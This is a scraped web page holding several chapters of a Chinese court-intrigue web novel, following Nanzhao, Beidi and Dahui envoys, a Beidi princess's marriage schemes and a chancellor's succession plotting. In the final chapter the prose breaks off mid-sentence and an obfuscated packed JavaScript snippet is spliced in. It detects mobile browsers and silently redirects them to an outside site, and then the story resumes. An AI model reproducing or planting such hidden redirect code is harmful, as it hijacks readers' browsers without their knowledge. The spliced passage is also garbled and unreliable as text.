他瞥了眼满脸淡漠的异目赞,忽的小声道:“辉人欺人太甚,难怪大公主要与北狄联手……” “住口!” 异目赞目中忽的闪过一道寒光,低声斥道:“你若管不住自己的嘴,本官便叫人拿针来给你缝上!这里是什么地方?!你如此不管不顾,可有将使团中人的性命放在心上?!” “就是!” 皮劫逻叫阿南打开车帘,冷眼瞥着那副使,一脸讽刺的调笑道:“父亲身为南诏内算官,乃是正使,他老人家都没嫌苦,你一个小小副使怎地这么多事?” 异目赞冷冷道:“若受不了委屈就滚回南诏去!我们此行是来和谈、不是来示威的,若使团之人不能自持、定会为王爷招来祸患!到时莫说住什么驿馆,只怕连你我的性命都要交待在这儿了!” 副使面色一白—— 他不过是抱怨几句北狄霸道,并非真的贪图安逸! 还来不及辩白,却听内算官那位长相俊俏的公子摇着扇子继续道:“父亲这话还是轻了!我等没命算什么?若真激怒了辉帝,他只需再为曹恒添上十万大军,我西南六诏的国门只怕要被的铁骑踏平了!” 这、这、这…… 见那副使面色愈发难堪,异目赞这才无奈的摆了摆手,“传本官的令:使团中人都给我谨言慎行!临行时王爷赐本官擅专之权,若再有言辞轻狂者,本官定斩不饶!” 副使大骇,他口中称是,忙不低垂头退了下去。 皮劫逻瞧着他的背影,叹道:“人心浮动至此,此番出使只怕困难重重啊……” 异目赞看了看小小年纪却深谙权术的外甥,低声道:“你究竟打的是什么主意,总该给我透个底才是!” 皮劫逻悠哉的摇着扇子道:“六诏不过弹丸之地,就是国力再强也断断吞不下大辉这的广袤之地;可我不想一辈子都受制于人,南诏早晚要脱离大辉的掌控,” 他看了看一脸赞同的异目赞,语不惊人死不休道:“我要称帝!” 蛮族、南诏虽与大辉、北狄并立,也不过是近几十年来来才统一了本土几大部族。虽说立了国,但其首领只称王、不称帝,因其颇为安定,北狄和大辉便都睁一只眼闭一只眼的任其发展! 皮劫逻若称帝,那位蛮族之王定会紧随其后自立,倒时便会形成四国争雄的乱局! “吾王志向远大!” 异目赞思忖片刻,便道:“这些年大辉与北狄征战不休,辉帝无暇顾忌西南,王爷这才趁势平了两部之乱,我南诏国力更胜从前,有了与大辉叫板的底气;只可惜南诏气候炎热、又多烟瘴,人口兵丁着实不盛。若一朝与大辉撕破脸,只怕……” 他叹了口气,这才道:“所以大公主才定下与北狄联合之计,只要时机成熟,北狄便会出兵吞并冀州,而我南诏则会趁势拿下益州几县;王爷如此深谋远虑,只要您安下心来励精图治,咱们早晚有挺近中原的那一天!” “我可没想过拿下中原!” 皮劫逻嘿嘿笑道:“南诏有多少斤两舅舅岂能不知?我从不做白日梦!我想做皇帝,一来是慰父王在天之灵、二来是为了让百姓们过上些安生日子。” 当然还有第三! 皮劫逻扁了扁嘴—— 谁叫姐姐总说自己不上进,他偏要称帝给姐姐看! 想到姐姐热泪盈眶的感叹自己胸怀大志的模样,他的嘴几乎要咧到耳根…… 异目赞目带怀疑的看着一脸沾沾自喜的外甥,暗道:这小子什么时候学会了父亲的口头禅,她 何时把百姓放在心上过?! 还不如说称帝是为了在大公主面前耀武扬威,更有说服力! 这孩子都成了南诏王了,怎么还这般孩子气…… 异目赞摇了摇头,叹道:“既如此,咱们与北狄人离远些倒是对的!结盟之事明明是他们主动寻上门来,可到了洛阳城外约定会盟之地他们却又临时变了卦,联手兴兵之事只怕有变。眼下咱们两国结盟的传言闹得沸沸扬扬,南诏可没有北狄的几十万雄兵做后盾,瓜田李下、咱们还是避嫌些好!” 皮劫逻则道:“富贵险中求!北狄人临阵退缩必是因为国内发生了难测之事——国与国较量、情势转瞬即逝,因此我才特意随舅舅出使大辉。” ?“本王亲自来此就是为了免去舅舅传书请旨的麻烦,好叫本王立刻做决断!” “南诏若想自立需得借势,此番何谈便是北狄和大辉之间最直接的较量!若是此番北狄势强,南诏便要北狄履行结盟时的约定,敲定夏氏公主与本王的婚事;若是大辉势盛,我们便趁势对北狄施压,好歹从辉帝手中挖些好处带回南诏!” 异目赞默了默,这才道:“我是担心北狄人事后会寻咱们麻烦……” “凭什么只许他们临阵退缩、就不许我们背信弃义?!” 皮劫逻冷冷道:“是他北狄人失信在先,怪不得本王!” “利聚而来、利尽而散,世人皆如此,况国乎?” “北狄人先前已诳了咱们一把,增兵之事已引起大辉的注意,本王此番若不趁势向北狄人讨回几分利息,北狄皇帝还以为我南诏好欺负!” 他眼中闪着一丝狡黠道:“此番若不叫他们吃不了兜着走,南诏王的位子我便让给那北狄王子做!” 第一百六十六章 不过就是个护卫 昏暗的房间中,夏云骁意乱心烦的偎在一团枯草上。 三日过去了,谣言也该传的差不多了吧?! 为何夏逸还不肯放自己出去?! 难不成是被他骗了…… 他越想心越烦,再看看周围破败不堪的环境,心头愈发不耐;想要摔些个茶壶茶碗解解气,却发现手边能砸的早就叫他砸遍了,外头伺候之人竟也没给他再添新物! 混账! 他可是连午饭都没有吃呢! 这边贱人是想存心饿死他吗…… “晨露姑娘,您来做什么?” “公主殿下叫我来送些吃食,侍卫大哥,能否叫我进去见见大王子?” “瞧姑娘说的,咱们在此处是为了保护大王子,又不是软禁。姑娘只管进去就是!” 屋门吱嘎一声被人打开,明亮的阳光晃的夏云骁张不开眼,恍惚间却见一个十四五岁的丫头拎着个食盒走了进来。 “王子殿下,六公主叫我来看看您,顺便带了些厨子们特制的吃食过来,您赶紧用些吧!” 居然是夏锦澜那丫头?! 夏云骁不屑的撇了撇嘴,低声道:“你该不会是替她来瞧本王子的笑话的吧?” 晨露忙道:“怎么会?!大王子中了大辉公主的法术,玄王说待您身上的术法尽解,立马挪您出去好好修养!” 这还像话! 夏云骁腹中空空,闻言这才直起身,朝晨露招了招手,“六公主叫你带了什么好吃的,还不快给本王子拿过来?” 晨露环顾四周,但见屋子十分逼仄,竟连张能用饭的桌子都没有! 她心下一惊,忙不迭走到夏云骁身旁,俯身将食盒放在地上,从怀中掏出一方干净的帕子铺在身前,随后才小心翼翼的打开食盒、将其中几道菜肴摆在夏云骁面前,笑吟吟道:“这几道菜都是殿下叫厨下为您特制的,您看看合不合口……” 素什锦、拌金针、烧豆腐…… 这是把他当兔子来喂吗?! 夏云骁面上泛起一抹渗人的寒笑,厉声道:“你这贱婢,居然敢同夏锦澜那死肥猪一同挤兑本王子!这东西是人吃的吗?还不赶快给本王子端走!” 他咬牙切齿道:“那死肥猪最喜口腹之欲,哪顿饭厨子们不是山珍海味、调着花样的做?怎么到了本王子这里,竟变成了连兔子都不食的素食?” 说着一脚将面前的杯盘狠狠踢了出去,一应餐具猛然撞到对面墙上,发出一阵清脆的碎裂声! 晨露忙道:“是玄王殿下说这段时间大王子不可食荤,我家公主这才……” “给我闭嘴!” 夏云骁猛的站起身,死死瞪着眼前的丫头,猛地将手伸向少女纤细的脖子,恶狠狠道:“敢叫本王子不痛快,本王子便要了你的命!” 晨露被他的样子吓的肝胆俱裂,却听一人笑道:“不过一个小丫头,王子殿下也不愿放过吗?” 夏云骁心头一震,他猛地转过头,却见一男子正面色默然的站在自己身后—— 檀烨?! 他瞳孔一缩,忙不迭向后退去,口中惊呼道:“谁叫你进来的、你想对本王子做什么?” 檀烨前几日才受了重伤,此时还未恢复,闻言苍白的脸上露出一抹惨淡的笑,喃喃道:“臣是陛下派给您的,只要没死便该继续保护王子殿下……” 夏云骁戒备之心未去,闻言便冷冷道:“本王子身边有的是本领高强的暗卫,做什么非得要留你个废人在身边……” “云骁啊,这话说的着实有些难听了!” 夏逸摇着头、背着手,笑嘻嘻走了进来。 三副昂藏的身躯,将原本就狭小的房间衬托的更加逼仄。 晨露的额头不住渗出汗水。 夏逸瞥了她一眼,随意道:“这没你的事了,下去歇着吧!” 晨露双腿不住抖动,她先朝夏逸福了福身,这才飞也似的逃出昏暗的小屋。 夏逸又朝门口的守卫摆了摆手,待人走远,他才啧了一声:“大王子是我北狄未来的储君,锦澜是你的妹妹,人家好心好意给你送吃的,你却差点要了她贴身侍婢的性命,这话若传了出去,你的名声还保得住吗?” 夏云骁冷哼一声,“说的好听,不过就是枚用于拉拢政敌的棋子,本王子怎么会将她放在心上……” 他看了看面色苍白的檀烨,转头朝夏逸道:“本王子砍了他的手,王叔将这样的人派在我身边,就不怕他趁机要了我这北狄大王子的性命?!” “檀烨是我北狄第一勇士,怎么会做背信弃义之事?” 夏逸无奈的摇了摇头,“檀氏服侍过三位北狄帝王,其忠勇之名朝中谁人不知?眼下虽因着大王子断了只手,说到底也是尽了他护卫主上的本分。殿下若还肯用檀烨、便是顾及他祖上积下的名声,他感激还来不及、怎么敢对殿下生出怨怼之心呢?” 檀烨默然朝夏云骁跪了下去,沉声道:“属下谢大王子救命之恩,大辉长公主当真歹毒,若非王子殿下、属下这条命早就交待了!” “臣虽失了一手,一身武艺却仍在,只要一息尚存,臣便要护卫殿下到底!” 说着咚的一声,一个头重重磕在地上,口中高声道:“求大王子成全!” 夏逸笑着凑上前来,俯在夏云骁耳边低声道:“大侄子,敌国王都、如何护住自己性命才是头等大事,叔叔我不就是你的前车之鉴?檀烨身手绝佳,若得他护卫,此次你出使大辉便会再添助力。叔叔可是盼着你能荣耀归国呢,倒时我也能沾一沾光不是?” 见夏云骁还在踟蹰,他便再接再厉道:“他一家老小的性命都在陛下手中攥着呢,便是为了妻儿他也得挺起胸膛、任你驱驰。此人是柄利剑,关键时刻能顶大用……” 是啊,不过就是个护卫,还能翻过天去?! 夏云骁冷冷望着跪于地上的身影,昂着头道:“罢了,本王子总要给王叔几分薄面,檀烨,你起来吧!” “不过你需记得,你如今已是半个残废,本王子还肯将你带在身边,此乃你前世修来的福气!从今往后,你若敢对本王子有半分不敬,本王子定要你尸骨无存!” 檀烨闻言一个头重重磕在地上,沉声道:“殿下大恩大德,属下没齿难忘!” 第一百六十七章 公主殿下,您可坑死奴婢了 晨露慌慌张张的跑进一处安静院落,猛地冲入一间屋子,先是回首将屋门死死掩住,随后才惊魂未定的靠在门上喘粗气。 “你这丫头怎的如此慌张,难不成后头有恶鬼撵你?” 听见戏谑的调侃,晨露忙疾步越过屏风,厉声道:“六公主,大王子他果然疯了!奴婢好心好意给他送吃食,他却要杀奴婢呢……” 屏风后正在用膳的女子闻言手中筷子未停,她先是举起酒杯豪迈的饮了一口,这才道:“大辉的酒好生柔和……大王兄本就色厉内荏、残暴不仁,似砍断侍卫的手好叫自己脱困这样的事,他绝对做的出!也就是玄王叔那样温厚之人,才会想出‘中咒而行为疯癫’这样的说辞,来保全父皇的颜面!” “困在陋室三天,自小便矜贵的大王兄怎么受得了?再加上我教你送去的一些素菜,他不当场发作才怪……” 晨露一愣,不敢置信道:“您既然知道,为何还要眼睁睁看着奴婢去送死?” “慌什么?那地方看似守卫松懈,其实玄王早就在四周布满了暗卫,你死不了的!” 想起大王子那双闪着凶光的眼睛,再看着面前怡然用膳的六公主,晨露忽的一屁股坐在地上,哇一声哭了出来—— “公主殿下,您可坑死奴婢了!” 夏锦澜吓了一跳。 这丫头是真被吓破胆了! 她慌里慌张的将手中筷子扔在桌上,快步跑向哇哇大哭的晨露,大声道:“可是伤着哪里了?难不成大王兄他对你动刀子了?不应该啊!我找人探过,大王兄那里守卫十分森严——他伤了使团几条人命,王叔断不会再纵着他犯错,我算好了一切,这才让你去探王兄的虚实,怎么会…… ” 晨露见六公主这般,心下这才稍安。她就着夏锦澜的手起了身,这才抽搭着道:“公主算的没错,大王子他是想杀奴婢来着,若不是檀大人及时出手,奴婢这条小命只怕就要交代了……奴婢没伤着,可是大王子他太凶了,奴婢实在是怕……” 檀烨?! 他不是断了只手吗,按理说他该在使团中好好养伤才是,这才几天,他怎么又回到大王兄身边去了? 夏锦澜的心一动,忙扶着晨露来到桌前,轻声道:“别哭了,没受伤就好。来,快些吃饭吧,这桌子菜可是我特意叫四方馆中的辉人厨子做的,端的是色香味美,晨露你快尝尝!” 她端起面前的饭一把塞进晨露手中,又拿起筷子不住的往晨露碗中夹菜,一边夹一边道:“尝尝这个鱼,做法好似叫什么‘糟烧’,口味十分独特;还有这螃蟹,滋味十分鲜美,这些可是在北狄尝不到的美味。好丫头,你快尝尝,这样的好菜我都没舍得吃,给你留着呢……” 晨露抬眼看了看自己殿下—— 虽说六公主确实“珠圆玉润”了些,却生的唇红齿白、一脸福相;虽说生母出身不高,可公主却十分聪慧,大王子凭什么瞧不起殿下?! 想到此处她又有些懊恼,这便气鼓鼓道:“还说是被辉人长公主吓疯了,大王子遭难人人避之不及,唯有殿下您不计前嫌给他送去吃食,大王子不思感激,竟还敢骂您是……依奴婢看,陛下就该下旨夺了他的王子之位,这般德行之人怎配做我北狄未来之主?” 夏锦澜一张圆润的脸上显出几分自嘲,“也怪我好吃,人又胖,大王兄从小就叫我做‘死肥猪’;他有太后撑腰,我不过是乳母带大的公主,怎么敢得罪他呢?” “难不成就因为他是王后之子,便能为所欲为吗?” 晨露一脸的义愤填膺。 “别人也就罢了,檀烨可是我北狄第一勇士,被大王子无缘无故剁去一手,他不似报仇、竟还拜倒在大王子的脚下,求着大王子用他,当真半分骨气都没有!” 夏锦澜心头一动,她随意的往嘴里添了块鱼肉,一边嚼一边道:“你亲耳听到檀烨去求大王兄了?” 晨露压低声音道:“可不是!奴婢觉得这都是玄王的意思,虽然玄王将奴婢们都遣散了,可奴婢分明看见檀大人朝大王子下跪呢!” “他们二人还说起了您,大王子满口不屑,说您不过是颗拉拢权贵的棋子……奴婢不明白,这话是什么意思……” 夏锦澜扒了口饭,漫不经心道:“还能有什么意思,我一个没权没势、不受宠的公主,凭什么随使团同行?父皇定是将我当做联姻的筹码,只怕这次咱们再也回不去北狄了……” 晨露吓得花容失色,差点打落手中的饭碗,她拉着夏锦澜的袍子急急道:“怎么会呢,太后不是说叫您跟着使团出来散散心,顺便为她老人家寻些南诏或北狄的名贵药材吗?您如此尊贵,怎么能做联姻之人……” “我生母早亡,祖家不过一个没落贵族,哪里尊贵了!” 夏锦澜朝她露出个安慰的笑,温声道:“父皇子孙不盛,太后又一家独大,今后的北狄政权只怕不稳;我从小不受重视,被王兄、王姐欺负着长大,父皇和太后又一贯绝情,这样的家不待也罢!” “我猜不透的是,父皇和太后究竟是想将我嫁入大辉皇室还是南诏王府!” 晨露傻傻道:“您怎么知道陛下要与这两国联姻呢?” 夏锦澜拿着筷子朝她头上一敲,口中数落道:“我怎么会有你这么笨的丫头——使团本是去大辉谈结盟的,中途竟有人悄悄去了南诏,偏又带走了本公主的画像和生辰,这不是明摆着吗?” 晨露可怜兮兮的缩了缩脖子,这才小心翼翼道:“那公主觉得,是嫁去大辉好还是嫁入南诏好呢?” 夏锦澜示意晨露给她倒酒,她仰起头将酒饮下,浑不在意咂了咂嘴道:“嫁去哪里不是我能决定的……辉帝老迈、南诏王稚嫩,这两人皆非良配!” “不过若真让我选,我倒是愿意加入南诏——南诏距北狄万里之遥,又无实力与大辉开战,虽为小国、却是个逍遥自在的好地方!” 第一百六十八章 权臣或皇子倒是可以考虑! 晨露满面狐疑,“既是联姻,太后为何不直接对您讲?殿下没有母家撑腰,凡事都得听陛下和太后的安排,难不成太后还怕您抗旨?” 这丫头说话倒是一贯不客气! 夏锦澜撇了撇嘴,沉声道:“许是太后刚开始也没拿定主意?” 晨露忙道:“这么看来,联姻之事竟是由大王子定夺?” 夏锦澜摇了摇头,“太后把持权柄,又怎会让权于人?依我看大王兄还是要听太后的安排。” “可奴婢看不明白,陛下到底是想让您嫁入大辉还是南诏?” 夏锦澜举着筷子的手一顿,“若我没猜错,刚开始太后是想将我远嫁南诏;只是不知后来为何忽然改了主意……” 晨露闻言心中一急,忙一把夺过她用膳的碗,急急道:“您怎么还吃得下?!您的脑子比奴婢快,得赶紧想个法子才是啊!” 夏锦澜又往嘴里丢了块鱼肉,这才悠闲的道:“嫁去哪里又不是我能决定的,何必杞人忧天?” 晨露急的眼睛都红了,带着哭腔道:“您心里的苦旁人不知、难道奴婢还不知?你好歹是公主,太后凭什么算计您?联姻不是儿戏,且这两国皆与我北狄剑拔弩张,若是哪一日真动起手来,殿下您该如何自处?” “战事一起,到时北狄皇室也不会顾惜您——他国、母国,您帮哪头都不是,这才叫里外不是人——若真到了那一步,无论是辉帝还是南诏王,只怕要赐您一条白绫了……” 夏锦澜叹了口气—— 放眼全天下,唯一会为自己着想的,只有眼前这个傻丫头了! 她将手中筷子轻轻放在桌上,朝着从小一同长大的侍女温声道:“你说得对,我这个六公主是被宫中老嬷嬷含辛茹苦养大的,从未沾过陛下和太后一分光,凭什么要用我的命为他们铺路?我却绝不会坐以待毙,他们既然敢算计我,就别怪我翻脸不认人!” 晨露双眼一亮,忙擦了擦眼泪道:“殿下,您有主意了?” 夏锦澜笑嘻嘻道:“这也不难!既然太后她老人家拿不定主意,我替她做主便是!我毕竟是父皇的女儿,答允了联姻便算是还了他生养之恩,可这夫婿的人选我要自己来定!” 晨露一呆,“殿下刚刚不还说南诏是好地方吗……” 夏锦澜嘿嘿一笑,“联姻而已,未必非要嫁给皇帝吧!” 晨露瞪大双眼,“这、这,不嫁皇帝,公主您岂不是太亏了?” “当皇妃未必是什么得意事!” “就拿大辉那位皇帝陛下来说吧,他本有一位贤德的皇后,却在八年前死于洛阳宫中;之后他便专宠高淑妃,淑妃为辉帝生下两位皇子,父亲又是大辉丞相,她虽无皇后名分,却是大辉朝内最最尊贵的女人。” 夏锦澜觑着晨露,轻声道:“若我嫁给辉帝,淑妃定会视我作眼中钉,高相也不会容我这个他国皇妃夺了她女儿的宠爱。想也知道,我在大辉的日子不会好过。” “至于南诏王……听说他有一位十分强势的姐姐。” 夏锦澜眸光轻闪,低声道:“世人皆说南诏王不成器,国务都由这位大公主掌管。此人英明果决,是如我北狄太后一般的存在。即便北狄势强,南诏大公主也断不会让我有好日子过!” 晨露目露戚戚,她家殿下的命怎么这么苦—— 好容易离了北狄皇都,怎地又入了他国后宫这是非之地?! “父皇和太后不会放过我!” 夏锦澜满眼不屑,语气却充满哀伤:“我生母位份低微,太后从未将我放在眼里;便是我成为他国王后,她也断断不会放我自由!她定会要我做探子,还会想方设法用些下作手段逼我就范——要么下毒,要么用你或陆嬷嬷的性命相威胁。” “到那时,我便只有死路一条了!” 晨露的脸色愈发惨白,“公主,您打算怎么办?” “皇帝嫁不得,权臣或皇子倒是可以考虑!” 夏锦澜一手拨着自己丰满的耳垂,喃喃道:“听说南诏王的舅舅乃朝中重臣,虽嫡妻早亡、留下一子,但他相貌英伟、为人刚正不阿,又深受南诏大公主依仗,倒是个联姻的好人选……” 远在驿站的异目赞毫无预兆的打了个喷嚏。 他吸了吸鼻子,暗道:哪儿来的一股邪风…… “大辉有两位成年皇子,虽封了王却都未娶正妻。传说成王温厚、礼王老练,只可惜这两人都是太子之位的热门人选,嫁给他们是次选!” “淑妃还有一子,幼时便被皇帝封为闵王,如今也有十一二岁了。此人身份尊贵,却因年纪尚轻不能参与夺嫡,但平日里颇受皇帝宠爱,倒是尚佳人选……” 夏锦澜想了想,这才不甘的咕哝道:“只可惜年纪小了些……” 晨露尴尬的歪了歪嘴。 殿下太坏了! 不过十来岁的小男孩儿,她也下得去手…… 正在明光殿内用膳的商玉麟差点被一粒花生卡住,吓的四公主商无翳猛往他口中灌汤水。 商玉麟咳了半晌才缓过气来,气的他狠狠将上花生的御膳房总管骂了一顿。 思前想后却总觉得有些怪:他还没嚼,那颗花生怎么自己就滚下去了…… “好了!” 夏锦澜终于吃饱了,忙将面前菜一推,朝晨露吩咐道:“你去告诉厨房,给我做些辉人皇室常用的点心端上来。” 还要吃啊?! 晨露满脸黑线,迟疑着劝道:“殿下,要不然还是少用些吧?咱们还要叩见大辉皇帝陛下,您之后还要代表北狄皇室与大辉贵女比试,这体态还是瘦些为好……” 夏锦澜叹了口气,“我的体质你还不知?便是从现在开始水米不打牙,到了觐见那日我也不会廋上一两,既如此又何必苦了自己?好容易来了大辉,这里的吃食北狄寻不到、也做不出,我生平唯爱品鉴美食这一个嗜好,做什么要为他人的眼光委屈自己?” “再说我用的那些美食竟有大半落入你这馋丫头的肚子里,你如今还敢来数落我?!” 晨露面色一红,这才道:“好好好,殿下别急,奴婢这就去让他们做!” 夏锦澜点了点头,“再过两日,我带你到外头转转。洛阳城繁华,听说城中有一座芙蓉楼,其间珍馐美食无数,我定要尝一尝才是!” 第一百六十九章 相逢即是有缘 夏云骁从小娇生惯养,不过是几日的监禁,却着实让他度日如年——好容易从那不见天日的陋室回到宽敞舒适的上房,他忙迫不及待的叫下人们为之沐浴更衣,然后便雄赳赳气昂昂的带人出了四方馆的大门。 “王爷,咱们虽叫人在洛阳城中放出话去,可辉人毕竟不是傻子;大王子如今顶着‘胆小、残暴’的名号,不好好在馆中待着,做什么非要出去招摇?他自己不怕丢人也就罢了,为何非要拉上六公主一同出去,他就不怕我北狄皇室遭辉人嗤笑吗?” 夏逸呵呵一笑,“叫他折腾去!本王虽是他的王叔,可他毕竟是陛下内定的储君人选。本王劝过他留在四方馆,是他心有不甘、非要出去找回面子。夏云骁在敌国王都招摇过市,若是碰了钉子可就与本王无关了!” “六公主可是个聪明孩子,有夏云骁在前头顶着,便是天上下刀子也绝割不到她的头上!” 夏逸低声道:“檀烨跟上去了吗?” 夜枭忙道:“王爷放心,檀大人已回到暗卫中,仍任暗卫首领一职。” “夏云骁是被太后惯坏了!本王费尽心思想要保住他的名声,他却变本加厉、不知收敛;这是在他国王都,不知多少人想寻使团纰漏,他自己上赶着丢脸也就罢了,万不能让他带累了整个使团的名号!” 夏逸说着眼中闪过一丝冰冷的寒意,朝身旁低声吩咐道:“自作孽不可活——你带人跟上去,必要时便‘帮’上大王子一把!” ----------------- “公主殿下,你快看啊,这洛阳城真是繁华!” 晨露头一回来大辉,瞧着什么都新鲜;看着街上人来人往热闹非凡的样子,她的眼睛都不够用了。 夏锦澜忙叫晨露打起车帘,兴味盎然的朝外看去,忽然指着一处人群道:“晨露你瞧,那帮人是在做什么?” 晨露瞪大双眼,不敢置信道:“殿下,那人是在喷火!殿下您说,他该不会是妖怪吧?!” 夏云骁听着后车内主仆二人的惊呼心烦不已,他一把将车帘掀起,朝外吼道:“好歹也是北狄皇族,怎地和没见过世面的乡下婆娘一样大呼小叫?不过就是几个耍杂耍的,有什么稀奇?还不赶紧给本王子把头缩回去,若再叫本王子听见你们鬼叫,本王子便让你们吃不了兜着走!” 晨露缩了缩脖子,忙一把将车帘放下,拍了拍胸脯小心翼翼道:“大王子怎么这么凶!他从小受陛下宠爱,常常往宫外跑,自是什么稀奇玩意儿都见过;公主长这么大还是头一回出宫,不过就是好奇了些,也值得他这样咒骂……” 夏锦澜却未将那责骂的话放在心上,小声道:“别怕,咱们将帘子掀开条缝,好好瞧瞧外头的稀奇景!” 晨露忐忑道:“能成吗,若是被大王子发现……” “他后头又没长眼,怎么看得到!” 夏锦澜朝晨露勾了勾手指,嘿嘿笑道:“怎么就偷偷的看,不出声就好了……” 晨露一脸窃喜,正待出声赞六公主聪慧,谁料身下的轮车猛地一滞,主仆二人猝不及防、夏锦澜头上坚硬的木簪狠狠撞上晨露的面颊,疼的她眼泪直流,忍不住开口骂道:“怎么的驾车?就不怕伤了六公主……” “长公主车驾在此,尔等速速避让!” 闻声夏锦澜的耳朵噌的竖了起来—— 大辉长公主? 是传位中那位“双瞳窥天相、一眼定乾坤的”大辉长公主?! 她忍不住掀开车帘,偷偷朝前望去。却见前方不远处缓缓驶来几辆豪华的马车,竟与北狄皇族车驾大有不同,其上无数华美雕刻和金玉饰物,让人一看便觉气度万方! 夏锦澜伸着脖子看了许久也没看到传闻中那位神厌鬼弃的大辉长公主,只得失望的坐回车中,忽然想到大王兄刚在长公主手上吃过亏,依他的性格只怕要去寻那长公主的晦气,不知此时他为何不做声…… 那厢里,听到“长公主”三个字的夏云骁无端打了个冷战。 那女人不仅害得自己在敌国百姓面前丢了颜面,更叫他这未来储君在手下人面前威信尽失。他虽恨得咬牙切齿,可一想起那日女子疯癫狠辣的做派,便打心眼儿里升起一股浓烈的惧意—— 理智告诉他,他不该再招惹那疯婆子。 所以他赶紧示意侍卫停车让行,同时竖起耳朵小心翼翼的听着外头的动静,就怕那疯婆子看见他的马车,又来寻他的晦气。 听着翟车上玉石相撞的声音渐行渐远,他这才长出口气。 好悬…… 就在他将心放回肚子里之时,却听外头响起一道明朗的男声:“可是大辉长公主殿下?在下南诏内算官之子皮劫逻,见过长公主!” “呦?这是北狄的轮车吧?看这轮车的样式,其中必是地位高贵之人,难不成是北狄大王子?” 车外的男声透着率性与耿直,倒叫人忽视了其中暗藏的一丝幸灾乐祸—— “王子殿下,相逢即是有缘,眼下咱们既与长公主殿下相遇,不如找个地方坐下来攀谈一番可好?!” 夏云骁死命咬着牙—— 好个南诏小儿,谁让他多事的?! 差一点,他就可以避过那疯女人了! 皮劫逻喜滋滋的等了半晌,却见一个小内监模样的人引着华丽的翟车驶了回来,待车停定,一道清冷的女声便从车内传出:“南诏内算官之子?异目赞出使大辉,怎地还将儿子一起带来了……” 皮劫逻拱了拱手,轻快的道:“实不相瞒,下臣官职不高,此番能随使团入京也是借了祖父和父亲的光;能入大辉朝贺乃是我南诏官员可遇不可求的良机,下官如今得遇长公主,亦是三生有幸!” “你倒坦率!” 翟车内的女子低低一笑,“使团入京,本宫也该尽尽地主之谊,既如此便请公子往芙蓉楼赴宴吧!” 看着翟车离去,皮劫逻笑嘻嘻施了个礼:“多谢长公主盛情!” 随即转头朝夏云骁轮车的方向高声道:“大王子,大辉长公主邀你我赴宴去呢,我先走一步,您可千万别迟到啊!” 听着那带着几分幸灾乐祸的高亢男声,夏云骁心下大恨—— 好个南诏小儿,这是存心让他难堪呢! 第一百七十章 宴客芙蓉楼(一) “要不然大王子和我一起走吧,长公主的宴席可不好寻呢!” 听见车外兴味盎然的声音,夏云骁冷冷道:“你父亲是内算官,掌着整个南诏的财权,可你这个做儿子的竟上赶着巴结辉人,当真是半分体统都没有!” 皮劫逻闻言笑道:“殿下这话错了,南诏本就是大辉属国,长公主的大名下官如雷贯耳,今日相见实乃三生有幸……” 他说着话锋忽然一转,“北狄皇室的轮车果然气派!不知大王子身后车中又是哪一位,可否要与下官一同赴长公主的宴席?” 夏云骁对这上赶着搭话的南诏小子毫无好感,闻言冷冷道:“尊使管好你南诏的内政便好,北狄之事不劳你费心!” “王子殿下言重了!南诏与北狄素来交好,下官也是听闻此次和谈之行北狄竟派出数位皇室成员,重视程度可见一斑,下官也是想结识北狄各位王爷……” “废话真多!檀烨,咱们走!” 望着轮车渐渐远去,皮劫逻身旁年轻的侍卫忙道:“少爷,您好端端的去惹那大辉长公主作甚!属下听说她是个疯子,连朝臣和嫔妃都敢打,您就不怕吃亏?” “她是疯、却不蠢,如若不然夏云骁早死在她手中了。” 皮劫逻眼神锐利,只见走在后头的轮车帘子微动,隐约可见其后一双明媚的大眼,他不禁微微一笑—— 北狄公主果然在使团之内,就是不知他们究竟想将宝压在何人身上! ----------------- “看清楚了?长公主邀南诏与北狄使者往芙蓉楼赴宴?” “相爷放心,属下听得清清楚楚!” 高子霖默了片刻,这才吩咐道:“通知成王殿下速往芙蓉楼!” 高升忙道:“相爷,陛下最不喜皇子结党争权。两国使者相聚之所您叫成王殿下掺和其中,是不是有些太显眼了……” 高子霖叹了口气,“近些时日陛下猜忌之心愈发重了,若不赶紧推成王上位,本相的权柄怕是要游移了!” 高升不是不知朝中情势,闻言挣扎许久,这才道:“可看淑妃娘娘的意思,怕是想推闵王上位……” “妇人之见!” 高子霖满面不耐,低声斥道:“她娘就是个没见识的,我以为将她接到身边能让她开开眼界,没想到她还是这么小家子气!” “只因宠爱幼子,她便想断了成王夺嫡之路,当真愚不可及!” “闵王才多大?他虽有亲王名头、手中却无权势,拿什么和成王争?!淑妃手中有两位皇子,又有本相从旁支持,她便以为后位是她囊中之物了!殊不知竹篮打水一场空,若本相任由她这般我行我素,高家往后还有什么指望?!” 见高子霖动了真怒,高升忙安慰道:“相爷不必担心!懿慈皇后已死,小太子也在宫变中夭折,如今已经没有人能阻挡成王登上那个位子了……” 高子霖叹了口气,“我之前也是这么以为的,可你看皇帝最近的所作所为,明摆着是冲我高家来的!高氏一族与成王荣辱与共,动高家便是动成王——陛下升陆氏为贵嫔、放长公主出永巷,种种作为绝不是无的放矢,咱们不可不防!” “既然都到这地步了,成王还装什么谦卑恭谨?!唯有拿下那个位子,本相才能高枕无忧!” 二人正说着,外头竟又有暗人前来禀报:“礼郡王正驾车往芙蓉楼而去!” 高子霖一凛。 礼王是怎么知道的?! 自己仗着做过一任校事府统领,这才将眼线悄无声息的布置开来,芙蓉楼之事他也是刚刚得到的消息,没想到礼王竟快他一步,先往芙蓉楼去了! 多年的权利浸淫让高子霖自心底升起一阵强烈的不安——从商无忧出了永巷、淑妃被囚、再到司命祭礼上北狄人行刺,这一桩桩一件件事后仿佛有一双看不见的手不断地推波助澜,将高家推在了风口浪尖上。 可任凭他动用一切力量,却仍查不出背后之人是谁! 他咬了咬牙,如今之计唯有尽快将成王推上太子位。 皇帝疑心虽重,可他子嗣不盛乃是事实。诸皇子中唯有成王与礼王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688819|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了年,只要将礼王踩下去,皇帝便是再忌惮也只能将皇位传给成王! 